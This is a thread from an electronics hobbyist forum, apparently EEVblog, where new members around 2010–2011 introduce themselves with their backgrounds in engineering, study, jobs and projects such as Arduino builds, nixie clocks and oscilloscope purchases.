I am from Germany and new in the forum. I recently finished my degree in Computer and Communications Engineering (which is computer science mixed with electronics) at the Saarland University. To gain some practical experience my current project is to build a nixie-clock from scratch as you can read in the projects section. It involves programming the MCU, the analog stuff like PSU design, designing the PCB and a nice case as well. 
Title: Re: New Member, Please introduce yourself
Post by: d3javu on October 06, 2010, 02:55:28 pm
Hi folks,
   I'm Deva and i am from Malaysia. Nice to meet you all.  ;)
Title: Re: New Member, Please introduce yourself
Post by: hippocampus on October 06, 2010, 06:35:12 pm
hi all, I'm an amateur but love electronics, so I come to join with you all to learn  ;D
Title: Re: New Member, Please introduce yourself
Post by: vaneenbergen on October 07, 2010, 08:14:26 pm
Hi

i'm Joost van Eenbergen
R&D manager at ELC lighting bv in the netherlands
We develop lighting control equipment for the entertainment industrie.
mostly using DMX512 (RS-485) and ethernet.
we also supplied the new lighting control infrastructure at the sydney opera house.

development tools i use are
Altium (ECad)
Alibre (MCad)
Rowley Crossworks for ARM7 development
Visual Studio and XCode for PC/mac software

www.elclighting.com (http://www.elclighting.com)
Title: Re: New Member, Please introduce yourself
Post by: MojoJojo on October 09, 2010, 10:29:42 am
Hello

I am a freshly graduated EE student living in Philadelphia. I emerged from my chrysalis, ready to spread my wings and cast off my larval engineer form. I studied electronic design and computer architecture, with a strong interest in embedded systems. Unfortunately, with the way the economy is, I had to adapt to the job market a bit. Presently I am working for a Belgian outfit that makes Proton therapy machines. Not the design work I envisioned, but I do get to dabble in high energy physics which is a whole different ball of cool. I still have the mad scientist lab in the basement though, and I want to stay up with developments in electronics design so I've been hitting the internets. I found the EEV blog as a podcast for my new iphone. I love it, and now have started to watch the episodes at home.

Josh
Title: Re: New Member, Please introduce yourself
Post by: jdtoronto on October 12, 2010, 06:45:51 am
Name is John, originally from Melbourne but now in Toronto (last ten years) after spending much of my life wandering the world.

Originally trained at RMIT in 1969/70 (DipCommEng) but since then spent nearly 14 years as a professional student.

Have designed everything from high resolution radar to broadcast transmitters, microwave systems, test equipment and down to sensitive analogue measuring instruments. Currently design control systems for up to 150kV and 100kW.

Title: Re: New Member, Please introduce yourself
Post by: M_D_K on October 13, 2010, 04:36:41 am
Hi, Gavin here.

Never really been good at this whole introduction thing, but I'll give it a shot :)

So, I'm a second year EE student. Before starting EE I was strictly a software guy, coding for PC (Windows, Mac, Linux), consoles (PSP, Dreamcast) and embedded systems (iOS).
I guess I got into EE because I like knowing how electronics work (and I destroyed one too many VCRs as a kid).

So yeah, I'll be lurking. :)
Title: Re: New Member, Please introduce yourself
Post by: sudha99 on October 13, 2010, 08:29:13 pm
I work as a quality inspector for a company that makes radiators and air conditioning for vehicles so unfortunately not electronic related really, but I'm gradually tooling up at home and getting into microcontrollers :D



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Title: Re: New Member, Please introduce yourself
Post by: andybrown on October 13, 2010, 11:47:31 pm
Hello, I'm Andy and I'm responsible for the FindChips.com site. I'm here to solicit any feedback that would make our offering more appealing and useful to the electronic components engineer and purchasing professional. Please drop me a line (PM or email - abrown@supplyframe.com) any time.

Title: Re: New Member, Please introduce yourself
Post by: blackfin76 on October 21, 2010, 02:43:10 am
Hello, I'm Blackfin76. Of course that's not my real name  ;D
I'm an electronics design engineer and life in the Netherlands. Most of my extensive experience is in the field of analog hardware design, power supply design (linear and switch mode) and high speed digital hardware design. I do some embedded software design, but only for testing and debugging, I just don't like software or software doesn't like me  :D
Title: Re: New Member, Please introduce yourself
Post by: dds on October 21, 2010, 02:53:04 am
Hi,

While listening to Beatblender station on http://somafm.com (http://somafm.com) site, I've decided to write thing or two about myself ;) I'm Dusan from Serbia, forty years old, but live now in Denmark. I have Datamatician (danish. Datamatiker) short (2,5 years) academic education which is supposed to give you knowledge as Software Developer ;)  I liked electronics since I was 8 years old when I saw projects for Citizen Band (Atom 1,2 ) radio in Croatian "Sam Svoj Majstor" magazine. It sparked my imagination thinking about how cool is chatting with other people on 27 Mhz without license from authorities. ;)  I do enjoy much this forum, and like to read advices and tips from much more experienced members here on board.


And thanks goes to Dave for making all this possible! :)

Title: Re: New Member, Please introduce yourself
Post by: pb on October 21, 2010, 02:54:44 pm
Hi all,

I get paid by day working in software in the entertainment space.  I've recently been collecting all my various electronics acquisitions over the years in a 'lab' where I can play with things.  I try to play with various things... TTL, old CPUs, FPGAs, microcontrollers, etc...

Hoping to learn from others and blow fewer things up.
Title: Re: New Member, Please introduce yourself
Post by: DJPhil on October 21, 2010, 10:02:45 pm
While listening to Beatblender station on http://somafm.com (http://somafm.com) site, I've decided to write thing or two about myself ;)
Just wanted to say, thumbs up for somafm! I've been listening to groovesalad for about four years nearly nonstop. :D
Title: Re: New Member, Please introduce yourself
Post by: tyblu on October 25, 2010, 02:13:41 pm
26 year old EE student, looking out at the real world. ;)
Title: Re: New Member, Please introduce yourself
Post by: 8086 on October 31, 2010, 11:11:49 pm
Hi everyone, i'm Simon, a 2nd year EE student in the south of England, UK. Big fan of the blog :D
Title: Re: New Member, Please introduce yourself
Post by: Balaur on November 03, 2010, 12:09:29 am
Hello,

My name is Dan, I'm a 35 year electronic engineer with a lot of love for my profession.

I have been a lurker from some time on this board and I've thought about introducing myself and start contributing.

Cheers,
Dan
Title: Re: New Member, Please introduce yourself
Post by: metalphreak on November 03, 2010, 05:42:06 am
Hey,

My name is David (no seriously :P)

I'm currently in my 4th year of an Engineering/Commerce double degree @ UWA Perth. Majors in Electrical/Electronic Eng and Management.

Found Dave's EEV Blog while reading about the Rigol 'scope (which is on its way!). It is another step in building my home lab :)

Latest thing I've learned: It is incredibly cheap, fast, and satisfying to have your own PCB design fabricated and shipped to you door in a week. There's something special about completing your first project that looks respectable and isn't on breadboard :D
Title: Re: New Member, Please introduce yourself
Post by: arcom on November 03, 2010, 07:45:06 pm
Hello!

My name is Marko and I live in Croatia. I'm 26 year old EE working as an automation engineer, developing software for PLCs and commissioning industrial machines. I've been watching Dave's EEV Blog for a while now and decided to join the "club" to learn something new and help others :)

Cheers,
Arc
Title: Re: New Member, Please introduce yourself
Post by: a soBer Newt on November 05, 2010, 05:57:48 pm
Hello all my name is Nathan Bowers, I am from sunny Southern California, I deeply enjoy the EEVblog and the Amp Hour. I have my own blog at asobernewt.blogspot.com (http://asobernewt.blogspot.com) please stop by if you so do decide to.  Hope to lean some new electronics related material here!

Have a good day,
Nathan Bowers
Title: Re: New Member, Please introduce yourself
Post by: Frenchie on November 10, 2010, 04:03:45 pm
Heya,

I'm a Chemical Engineer who has tinkered off and on with hobby electronics for 10 years or so. Will probably lurk but enjoy the blog posts / advice given as it's really useful for someone who's only done a few EE units at university and is otherwise more or less self taught.

F.
Title: Re: New Member, Please introduce yourself
Post by: gobblegobble on November 11, 2010, 12:31:10 pm
Hi all.

I'm a student in the area of residential electricity. Stumbled upon the blog while I was looking for some info about multimeters and boy did I found some! ;D
Learning heaps of new stuff about low voltage electricity in general while at it too, and that's not a bad thing in my book either.
Title: Re: New Member, Please introduce yourself
Post by: Chad1 on November 13, 2010, 08:09:59 pm
Hello! I'm Chad1, and have been an active viewer of this blog for quite some time now. Finally decided to join the forum after hearing Dave talk about some of the chatter in one of the earlier episodes! I'm a student in the USA, going into my third year majoring in electrical engineering. I've decided to take the microelectronics track. I've used this blog (pretty close to when it first started) as a way of learning more about electronics, and thus giving me more knowledge that one can't learn in a university classroom. I love fiddling around with electronics and instrumentation. The engineering lab is open 24/7, so I can go to the lab whenever I want to play with one of their scopes, bench dmm's, fun/arb gens, etc.
Title: Re: New Member, Please introduce yourself
Post by: tuo on November 13, 2010, 08:58:37 pm
I'm 36, eh, 37 years old (yesterday was my birthday) software engineer. Yes, software, so my area of expertise contains OO-programming, Java, JEE, Linux, databases and that kind of stuff. So, "why am I here?" you might ask. For hobby. I'm a audio enthusiast who likes to build his own equipment, like speakers and amplifiers. And of course likes to know how that stuff works while building them.
Title: Re: New Member, Please introduce yourself
Post by: johnmx on November 14, 2010, 12:48:05 am
Hi, I’m João, 31 years old, born and living in Portugal. My interest in electronics started at 11 years old. However until finished the secondary school I didn’t have too much access to electronic components (living in a small inner town). On that time I had more success dismounting things rather than building  :-[
In the university I had access to internet and electronics stores. During that time I was able to develop some personal projects. Although I’ve a master degree in Electronics and Telecommunications, all of my practical knowledge comes from self-learning.
Now I’m working in the optical communications field but also develop electronic systems to control optical components.
Apart of work I love riding bikes, all types (motocross, enduro, street, custom, etc.) and outdoor sports (snowboard, skate, in-line skate, running, off-road cycling, etc.).
Title: Re: New Member, Please introduce yourself
Post by: imants on November 14, 2010, 08:56:25 am
Hi!
Some time ago I subscribed to EEVblog's youtube channel which I found via makeblog. Today on youtube I saw a link to the contest, so I found that there is a forum too on EEVblog  :o
I'm automotive engineering student with interest in electronics(I even think about getting education in EE after I graduate, so I could turn my ideas into reality).
Currently I'm taking my first steps with Arduino.
Title: Re: New Member, Please introduce yourself
Post by: Uncle Vernon on November 14, 2010, 12:02:03 pm
Welcome from a long term nerd residing in Sydney (and hoping soon not to). Scratching a living with Building Automation, GSM telemetry and PLC systems, dabbling with micros.

I'm so old, I can remember a time when DSE actually sold electronics and manufacturing within Australia wasn't considered an expensive novelty.
Title: Re: New Member, Please introduce yourself
Post by: DARKHORSE on November 14, 2010, 04:26:48 pm
Hi EEVblog My Name is Dylan Smith, I'm new to this game and I am currently studying Electrical engineering at Camosun Collage, and I have used Dave's fantastic reviews to purchase several pieces of equipment.
Title: Re: New Member, Please introduce yourself
Post by: Nerobro on November 16, 2010, 08:16:54 am
Well, I'm Nerobro.  .... It;'s a fairly legitamate claim, as I've been nerobro on the internet since 94 or so.  ;-)  I'm from chicago, IL. In the USA.  (I'm used to very US-centric websites... given dave is an aussie, I should specify, eh?) 

I've very much been enjoying eevblog, and the amp hour.   I figure it's time to say hi to the rest of the fans.

I am more of a ohms law kinda guy, versus EE.  But that seems to get me far enough.  I have dabbled a little in PIC, and while I haven't hooked any up, I've got everything ready to give AVR a swing. I've also played a bit with arduino. 

I learned my big lessons running electric motors with stacks of batteries in my bedroom late at night.  That led to lessons with r/c cars and planes.   80amps at 7.2v is still some serious power!  And eventually, with help of a friend, retrofitting and improving the firing mechanism of a paintball gun. 

My latest endeavors are building a CNC mill, from scratch.  And I'm making an attempt at a good electronic shifting mechanism for bicycles. 
Title: Re: New Member, Please introduce yourself
Post by: SolidFloyd on November 20, 2010, 03:54:36 am
Hi, I've been following the blog fore som while, and desided to join the forum  ;D

I'm 26 years old, from Norway, been working as an machinist and CAD/ CAM supervisor for 7 years, 2 years ago I quit my sweet job to get back to school. I have an Technician Degree in mechanical engineering from the local Technical Institut, and these days I'm doing my last year on an Bachelor degree in mechatronics at University of Agder, Norway.

I love taking things apart  ;D , I also love putting them back together again..
I've been doing some small Arduino projects, and I always loved electronics so I desided to get more in to it. I just got my first scope, bought an Rigol ds1052e, not that I need it, but it shure is fun ;D I will see up on my self as an newbie in this field, I know my basic electronics, but I need to learn more... ;D

I'm also into R\C helis, been flying since 2005, but in the whinter time it is way too cold up here in Norway, so don't get much fly time these days...

cheers!
Title: Re: New Member, Please introduce yourself
Post by: Gall on November 20, 2010, 07:46:20 am
I'm 30 years old, from Russia. I'm software engineer in Yandex (www.yandex.ru (http://www.yandex.ru)), M.S. in physics. My hobbies include holography and lasers, electronics, making wooden cases for my projects and jodo (martial art, not to be confused with judo).
Title: Re: New Member, Please introduce yourself
Post by: senso on November 25, 2010, 02:19:17 pm
Hello to everyone, im from Portugal and I'm a student, actually taking a Master in Electronics and Telecommunications engineering.
I'm addicted to robotics and electronics, and I'm actually a member of the Robotic Soccer team of my university.
I love to play with micro-controllers, actually I have only used AVR's, but want to spread my knowledge to ARM's and PIC's 30/33 and 32.
As a side kick I love to tune two stroke engines and to get the best out of them.
Title: Re: New Member, Please introduce yourself
Post by: Adama on November 25, 2010, 07:46:10 pm
Hi to everybody,
Lucky to join this creative forum and community.
I am located in the very southern parts of Germany.
Specialized in electric motor design and manufacturing. Focus is on DC-Motors (brushed and brushless), as well as magnetic and hysteresis clutches and brakes.

Kind regards,
Cheers,

Adama  ;)
Title: Re: New Member, Please introduce yourself
Post by: abraxalito on November 26, 2010, 01:14:28 pm
Hi - I'm Richard, I just joined up yesterday as I'm a Tekway DST1102B owner and loved the thread about upgrading it so much I wanted to see all the pictures!

I'm a British guy living in China since 2005 - retired as an engineer but still continuing the hobby I started when I was around 10 years old. Main interest is
digital audio, amps and speakers at the moment - reverse engineering commercial products to learn and experiment. I've been a fan of Dave's YouTube blog for some time.
Title: Re: New Member, Please introduce yourself
Post by: wardenclyffe on November 27, 2010, 01:50:25 am
Hey, my name is Chris and I am a recent graduate in electrical engineering. I studied at Virginia Tech and graduated with an undergraduate concentration in power electronics from our Center for Power Electronics Systems (CPES). I am a big fan of hobby electronics and test equipment. Most of my home projects focus on PIC controllers or renewable energy systems but every now and then I might throw in a buck-boost LED driver for fun.
Title: Re: New Member, Please introduce yourself
Post by: williefleete on November 28, 2010, 08:28:43 pm
hi guys, my name is william. aka williefleete on youtube and twitter.
i am located in christchurch new zealand, a regular on new zealand's electronics forum Brightsparks, i know quite a bit about most electronics and i am very good at PICAXE BASIC, i have done some quite interesting projects using single (or even multiple) 08M's which is a "rebadged" 12f683 type pic, most of the stuff i have done is based on the little buggers and in the picaxe programmer has 256 bytes user program/eeprom space

my youtube channel is http://www.youtube.com/user/williefleete (http://www.youtube.com/user/williefleete)
twitter http://twitter.com/#!/williefleete (http://twitter.com/#!/williefleete)
my main url www.resistorhelper.org (http://www.resistorhelper.org) (not really flash, havnt updated pages for a while i just use it for an image server for forums like this, easier than fotophucket and a server for my site name program "resistor helper" which can help with the resistor colour codes)
Title: Re: New Member, Please introduce yourself
Post by: Boloop on November 29, 2010, 03:50:45 am
I'll try and join the list of these replies. I don't think anyone reads these. But I guess it will be a little odd landmark where people can find out a little more about me if they look through all your posts.

I have read a couple of posts above. Seems to be mixed ages. But all generally male engineers. And it's nothing new out of being in any engineering firm.

I am a student half way through my studies doing Computer and Electronic Engineering. Better at maths than most computer scientists, and better at software than most of the Electronic Engineers. But it doesn't end there. I'm mostly a passive observer of the electronic and a bit of computer hacker community.

Asides from electronics, I am a budding Amateur photographer. I mostly do it as a hobby, not really planning to do anything professional about it. I just don't think I am that good enough and it's too competitive for my tastes. I'll stick to what I know best, and that's programming in Verilog and C++. And shit load of other languages.
Title: Re: New Member, Please introduce yourself
Post by: baljemmett on November 29, 2010, 04:09:26 am
I'll try and join the list of these replies. I don't think anyone reads these.

Ah, don't be so sure!  I can't be the only one who tries to read everything, surely; and it's always nice to try and get some idea about people's background...
Title: Re: New Member, Please introduce yourself
Post by: Tasso on November 30, 2010, 05:47:53 am
Hi all,

I'm a senior design engineer, working on instrumentation and industrial electronics in Bologna, Italy.

Ciao,

Tasso
Title: Re: New Member, Please introduce yourself
Post by: Slobodan on December 01, 2010, 07:39:24 pm
I forgot to introduce myself. I am an electronics student from Belgrade, Serbia.
Title: Re: New Member, Please introduce yourself
Post by: Crytone on December 02, 2010, 01:05:16 pm
Thought I should chime in here to introduce myself.

I'm currently a 3rd Year EE student in Canada. I've worked in the Telecom sector for several years as a tech manager, building/repairing/testing/designing amplification units, modulators, filters, and custom PCBs before deciding to go back to school. Hoping to increase my knowledge and maybe share some of what I know with others.

-Crytone
Title: Re: New Member, Please introduce yourself
Post by: aldoaxel on December 03, 2010, 01:26:14 pm
Hi, my name is Aldo, I'm 22 years old and I'm from Mexico. I've just gradauted as an Electronics Engineer this semester, so I really don't know what to do right now. I'm a little confused, because I'm not really sure if I want to get a job or maybe keep studiyng.
Title: Re: New Member, Please introduce yourself
Post by: desowin on December 04, 2010, 05:33:33 am
I'm 3rd year Computer Science student at The Silesian University of Technology.
Title: Re: New Member, Please introduce yourself
Post by: quanttrom on December 07, 2010, 03:49:55 pm
hi,

I was born in Bulgaria but I spend almost half of my life in Canada, almost done my EE Bachelor and I am current considering Masters.
Title: Re: New Member, Please introduce yourself
Post by: Twellmann on December 08, 2010, 10:14:10 am
Hello all

I'm studying medical engineering at DTU, Copenhagen

Regards Daniel Twellmann
Title: Re: New Member, Please introduce yourself
Post by: paul30003 on December 09, 2010, 09:06:11 am
Hi!

I'm Paul.

I don't work in any type of electronics, nor have I studied any area of electronics, I am 100% self educated from books and Internet.  I work as an engineer in the aerospace sector specialising in fuel system components.  I'm into lasers at the moment and my current project was my first experience of micro controllers.

I used Atmel's atmega328p with the arduino boot loader, this was ideal for the project, as several of the i/o pins where setup for PWM with a simple analogWrite command to control the speed of two motors.

Here is a link to the home of my project.

http://www.fxlasers.co.uk/ (http://www.fxlasers.co.uk/)

Here is a link to the part finished project in action. 

Laser Spirograph Projector (http://www.youtube.com/watch?v=yTqV9VBMmps#)

The project has come a long way since I took these photos, with an etched PCB, much improved Arduino sketch (fully commented) better optics.

I intend to fully publish photo's design schematics and the arduino sketch on the relevant part of this forum.

Thanks for reading, and I look forward to using this forum.



Title: Re: New Member, Please introduce yourself
Post by: AnnabelleR on December 10, 2010, 10:42:21 pm
Hello everyone,
My name is Muhammad Ali and i am a newbie here.I am 24 years old and doing masters in business administration and my major is Marketing.My interests are watching movies,online gaming,music,hanging out with friends and general discussions on different forums as you all know that forums are the best option for interacting and getting new and value able information.So i am here to get some information for myself...:)
Title: Re: New Member, Please introduce yourself
Post by: wenn32 on December 11, 2010, 05:14:24 am
hello guys i am electronics newbie and i am glad to meet all the electronics gurus here
Title: Re: New Member, Please introduce yourself
Post by: Jendem on December 11, 2010, 09:00:03 am
Hi.
I'm from Molde in Norway. I love electronics  :)
I am student at Telemark University College,  Computer Science and Industrial Automation.
Title: Re: New Member, Please introduce yourself
Post by: ShaunLeeClarke on December 14, 2010, 11:14:41 pm
What a long thread!

Well to add to it, I live in Melbourne, Australia and work as an IT/AV tech.

I've had an interest in electronics since a young age (I'm 24 now), but I'm certainly better at IT and AV!

I recently purchased an Arduino Uno and have started playing with electronics again.
Title: Re: New Member, Please introduce yourself
Post by: moonspeedy on December 17, 2010, 02:13:52 am
Name's Aaron - love the site.  It's an inspiration to anyone interested in our world.  I'm into electronics design and art.
Title: Re: New Member, Please introduce yourself
Post by: guitar309 on December 17, 2010, 02:02:56 pm
I'm Chris, I live in central Illinois and work as a telecommunications technician in a local union in my area... I work with a lot of low voltage items, (fire alarm,security,data cabling...)  I also LOVE electronics... I have been working on some guitar amp repair and a few other guitar related items...
Title: Re: New Member, Please introduce yourself
Post by: lgrfbs on December 19, 2010, 02:39:40 am
Hello all!
I are from Sweden and have worked on electronics for modelrailroads systems from I was 12 years old.
My work is/was CNC operator, have writhed some program/script in Turbo Pascal, mikroPascal, Delphi, PHP, Perl, HTML, Qbasic for my house needs only.
homepages I really like is:
www.youtub.com (http://www.youtub.com) - EEVblog :)
www.tyda.se (http://www.tyda.se) - Swe/Eng synonym word
www.elektronikforumet.com (http://www.elektronikforumet.com) Swedish Electronic forum

Program I like to use:
Paint.Net - Paint program
WinBoard - PCB
OpenOffice.org 3.2
Alibre Design - Mechanic CAD
Delphi 3 Pro - Make windows program
Raily 4 - Modelrailroad cad
NetDrive - Connect a FTP as a windows HDD.
mikroPascal PRO for PIC - make program for PIC
TrackMania Nations ESWC - Raceing game
TrackMania Nations Forever - Raceing game

Freeware or full licensed program is the way to go.
Title: Re: New Member, Please introduce yourself
Post by: ml-eng on December 19, 2010, 03:45:31 am
Hi, this is Michael from Germany. I´m a engineer in soft- and hardware design (freelancer). I´m in professional engineering for 13years now. I do electronics since I was 10, thats about 30years ago.  So... Hello World.... ;D
Title: Re: New Member, Please introduce yourself
Post by: stan001 on December 19, 2010, 09:13:35 pm
Hi, I am Stanley from Malaysia... I'm in the IT/Networking industry and recently discovered Arduino and electronic. I always wanted to learn about electronics since my teenage years but after I started playing with PCs and programming, this little passion of mine was put aside until now..August 2010.

Reading a lot of books about electronics, components, opamps, regulators, RC circuits and a lot more, most of the time , I probably had to read it a few time to understand what it means...

With the popularity of Arduino and Make magazine, I think electronic hobbyist is making a come back ...

Would like to learn more from the experienced electronic gurus here...

Found EEVblog when I was looking for a digital multimeter... got myself a Sanwa CD770 DMM after my mini analog multimeter movement coil stop working...

Stanley
 
Title: Re: New Member, Please introduce yourself
Post by: Mechatrommer on December 20, 2010, 03:09:06 am
hi stanley, good evening. ;D
Title: Re: New Member, Please introduce yourself
Post by: stan001 on December 20, 2010, 03:31:29 am
Hey Shafri,

How are you ?

Glad to meet a fellow Malaysian on this forum....

Stanley
Title: Re: New Member, Please introduce yourself
Post by: MegaWatt on December 20, 2010, 06:56:31 am
Hello, I am MegaWatt
I study electrical engineering in Belgium!
Finally a forum of interest to me!
Title: Re: New Member, Please introduce yourself
Post by: Seán on December 20, 2010, 08:44:28 am
Hello,

My name is Seán.

I am 31, and a final year electronics student in Ireland.

Nice to meet you all.

Seán
Title: Re: New Member, Please introduce yourself
Post by: Mechatrommer on December 20, 2010, 01:44:19 pm
Hey Shafri,
How are you ?
Glad to meet a fellow Malaysian on this forum....
Stanley
i'm ok. will be glad if you could locate ur'self (and other newcomers are welcomed too) in My Google Earth (http://www.eevblog.com/forum/index.php?topic=1103.0). Cheers ;)
Title: Re: New Member, Please introduce yourself
Post by: Neb on December 22, 2010, 12:58:16 pm
Hello,

I'm a computer engineer, working as a junior hardware engineer.

I'm a hobbyist in electronics and make stuff for the heck of it because it interests me.  My on-going projects are a digital audio DSP and spdif mixer, a battery powered hygrometer, a loudspeaker amplifier, and the list goes on  :D.

Based on the eevblog, i picked up a Rigol scope about a year ago and, looking back, there is no way i could do my projects without it.  I figure it's about time i log on and check out what's going on here in the forums.

Edit: forgot to add - Hello from Canada!
Title: Re: New Member, Please introduce yourself
Post by: jedreg on December 29, 2010, 03:22:57 am
Hello everybody,
my name is andy - locally called 'jedrek' which stands for 'andy' (using suffix 'g' instead of 'k' to avoid taken nicks on forums); I live in Poland/EU working as software consultant traveling through central and eastern europe. My EE dusty/forgotten skills based on secondary edutation were not used for many years but recently I re-started this activity as hobby. I found this excellent forum as goldmine looking for detailed info on Rigol DSO which I am going to buy.

cheers,
-andy.

Title: Re: New Member, Please introduce yourself
Post by: kaos116 on December 30, 2010, 11:30:35 am
Hello all - My name is Todd. I'm from Massachusetts in the United States. I work as an aircraft technician. I started playing around with electronics about 25 years ago. Today my main interest is with microcontrollers and 8 bit micro computers.

I found the forum through Youtube. Great work with great enthusiasm.

Todd
Title: Re: New Member, Please introduce yourself
Post by: rutri on December 31, 2010, 02:10:09 am
Hello,

    My name is Richard, I am a Computer Engineering Technologist and I design the control systems for locomotives. I am from Saskatchewan Canada, and have been watching this blog for over a year now.

regards,

Richard
Title: Re: New Member, Please introduce yourself
Post by: Mindstorm88 on January 01, 2011, 04:04:06 am
Hi Guys,
          I'm Bruno from Quebec, Canada , I'm an electrical expert in IREQ (electrical research institute), i do a lot of microcontroller stuff and as a hobby a specialist in electronic pinball repair !!!!
Title: Re: New Member, Please introduce yourself
Post by: vl400 on January 01, 2011, 01:53:24 pm
Hi everyone, I recetly purchased a Rigol scope and found this forum. Got lots of useful info from it so hope I can contribute some. I design hardware and write software for modifying vehicle engine management systems.
Title: Re: New Member, Please introduce yourself
Post by: jtv4k on January 03, 2011, 01:03:18 pm
Hey all,

I'm Justin from California (Orange County area). Graduated in Computer Engineering and working for a major hardware manufacturer.
Glad to be here!
Title: Re: New Member, Please introduce yourself
Post by: mitpatterson on January 03, 2011, 02:38:35 pm
Hey, I've been watching Dave for a few months now, i'm not a "EE" just a hobbyist. Some of you may know me from the adafruit forums and their Ask an Engineer chat. I'm currently a Student majoring in Network Administration and Internet Security. I live in Ohio(USA) with my parents(want to get out of here though, lol). I think thats about everything you guys need to know, if you want to know anything else ask, and I'll either tell you the answer, or tell yah its none of your business.
Title: Re: New Member, Please introduce yourself
Post by: phil4107 on January 03, 2011, 09:56:48 pm
Hi everyone. I'm a programmer from England that's worked on e-commerce websites, EPOS systems and mobile devices. Developed an interest in electronics and am still learning, but not managed to blow anything up yet!  :)
Title: Re: New Member, Please introduce yourself
Post by: glossywhite on January 05, 2011, 08:11:54 am
I'm Matt, and I am an unemployed geek from the UK. I have found my passion for electronics being re-kindled, all thanks to Dave's incredible YouTube videos; never have I seen such a likeable and enthusiastic person. His videos are truly addictive, and I want to thank him (again) for everything he does, including this amazing forum, which has also given me the opportunity to buy a cheap and much needed analogue scope.

Thanks - this is a GREAT place, started by a great guy!  :D
Title: Re: New Member, Please introduce yourself
Post by: blocky on January 05, 2011, 08:34:08 am
Hi there,
I am Sagi from Israel,
i am mainly a QA/Programmer.
lately i started up on micro-controllers (AVRs) and electronics in general and i absolutely love it.
This community looks preety awesome so i thought i shouldn't miss it (i also been watching dave's blogs and he just rocks)

Title: Re: New Member, Please introduce yourself
Post by: GvendurE on January 08, 2011, 04:32:42 am
Hi my name is Guðmundur Einarsson. But you can call me Gummi.
I am an Icelander curently living in the UK but hoping to return to the homeland in not to distant future.
I studied electronics but not a degree, I don’t know what its called in English, Electronics maybe…..
I have bin working in the industry for 8-9 years mostly doing AV installations.
For the last two years I have bin working as an AV maintenance engineer at The Science Museum in London witch is one of the coolest places in the world.

I love tinkering and building stuff as a hobby. I fixe tube amps for my musician friends and love building small circuits for solving stuff at work (555 is king). 
I am also getting into micro controllers a little bit.

All the best.

Gummi. ;D
Title: Re: New Member, Please introduce yourself
Post by: ajcrm125 on January 12, 2011, 01:44:32 am
My name's Adam Courchesne and I was featured on Amp Hour #23 with my WorkBench of the Week Video:
Amp Hour: Big Bench Build (http://www.youtube.com/watch?v=EDzBi5mTT4w#)

Before you ask...
ajcrm125 = Adam J Courchesne + Suzuki RM125
(Used to race motocross in the old days)

These days I work full time as a Digital ASIC Developer and spend most of my free time collecting, restoring, and repairing classic arcade games:
http://www.onecircuit.com (http://www.onecircuit.com)

Looking forward to some good geekery conversation. :D
Title: Re: New Member, Please introduce yourself
Post by: silicon_cockroach on January 13, 2011, 01:53:29 pm
Hi guys :) I am new here,this is my first post ever :) I'm from Serbia,i am 27 years old.My name is Goran and I like electronics,i am not a professional i am merely a technician in electronics repair shop.I like to design new stuff,and do random stuff involving electronics.I love to play with SolidWorks , cnc machines and of course MPLAB  :-) .....  So this is something about me ... i hope that this is enough. for now :)   P.S.  I am still learning English so please don't go harsh on me if i spell something wrong :-) 
Title: Re: New Member, Please introduce yourself
Post by: Wim_L on January 16, 2011, 06:47:46 am
Hi folks, I'm Wim Libaers, 28 years old, and from Flanders. Studied chemistry, currently unemployed and ending a PhD in chemistry which involved some chemistry, lots of optics and quite a bit of electronics and programming too (but mostly on commercial measurement equipment). As a hobby, I started to learn more about the basics of electronics to see how it all fits together.
Title: Re: New Member, Please introduce yourself
Post by: Frangible on January 16, 2011, 05:38:22 pm
I'm John, I've been building stuff with microprocessors since an 8088 with an 8087 coprocessor was still considered hot stuff.  I've even sent a bunch of them into space.  I think Dave's rants are the best in the business!
Title: Re: New Member, Please introduce yourself
Post by: lowimpedance on January 17, 2011, 11:22:36 am
Hello all
  My name is John, have been in the Electronics industry since leaving High School in 1981 (Jeez is it that long!).
Racal Electronics gave me my break and like them the rest is history.
 When I was a lad I loved taking things apart to see what was inside and .... nothing has changed. As a hobby I like to
collect and get working any old test gear I can scrounge, (love to spend a week at APEX!!!).
Also believe you can never have enough multimeters.

PS and yes I found Dave’s excellent blog while researching the Rigol scope.
Title: Re: New Member, Please introduce yourself
Post by: johnwa on January 18, 2011, 08:36:11 pm
Greetings all, another John here.

I am an electrical engineer from Victoria, Australia. I have lurking here for a while, thought I better say hello!

My current project is an RS-485 - based home automation network. I might post some details once i get something up and running...
Title: Re: New Member, Please introduce yourself
Post by: Geek1EE on January 20, 2011, 07:06:24 am
Hey, Kyle here! Been lurking around for a couple of weeks and thought I had better say hello first off. I graduate in December with my EE degree and am currently working on a few at home projects! Oh and I'm from Texas baby!
Title: Re: New Member, Please introduce yourself
Post by: ally on January 22, 2011, 12:08:01 am
Hey guys,

Nice to meet you all. I graduated in EE in Scotland, but have spent most my working life editing electronics magazines. I now work with Farnell/element14. My primary role is editing the comapny's Technology First journal, which you may have seen and working on our community site.

I've not practised electronics for a while, but I've got myself some PIC32 boards and a book and I'm going to try get back into it and hopefully keep you updated, or pester you with questions!

Ally

Title: Re: New Member, Please introduce yourself
Post by: pjclarke on January 23, 2011, 12:39:04 am
Hi All,

My name is Paul and I live in the UK and work for a fan manufacture designing speed / temperature / pressure controllers blah, blah.

Been doing electronics for 30+ years, think of myself as a embedded hardware engineer but do lots of code (asm and C).
Title: Re: New Member, Please introduce yourself
Post by: Vyper on January 23, 2011, 05:54:10 am
Hi all..

Danny from the u s a
AAs Elect. engineering tech.
Electronics Tech for u s government
Title: Re: New Member, Please introduce yourself
Post by: tweek on January 23, 2011, 01:14:03 pm
Hi all, Phil here.  Long time lurker on the forum and watcher of the blog.  I'm a 33yr old sysadmin and software guy (depending on the day) from the Research Triangle area of North Carolina, USA.  I have tinkered with electronics on and off since I was a kid.  My university education is in Avionics but I've enjoyed slogging my way through the IT cesspool...errr...field, for the past 14 years or so leaving electronics to be that thing I can do when I'm done with work for the day.
Title: Re: New Member, Please introduce yourself
Post by: ganzziani on January 27, 2011, 06:58:45 am
Hi, I'm Gabriel Anzziani, I'm an electronic engineer graduated from University Simon Bolivar. I make LCD oscilloscopes and I am looking to share knowledge and receive suggestions on this forum.
Title: Re: New Member, Please introduce yourself
Post by: RaySolomon on January 27, 2011, 06:42:08 pm
My name is Ray. I'm from Mesa, Arizona.

I am a professional IT guy, web developer and programmer and have a little electronics experience from when I was younger.

For some reason I feel like seriously getting into electronics engineering. I'm so used to thinking logic and programming that maybe its why electronics captures my interest so much. It naturally feels like the next best extension of knowledge I should be learning.

I have an electronics lab setup for the first time (just under $1000). Its really neat and I based all my purchases on recommendation from Dave's videos and other people in the forum.

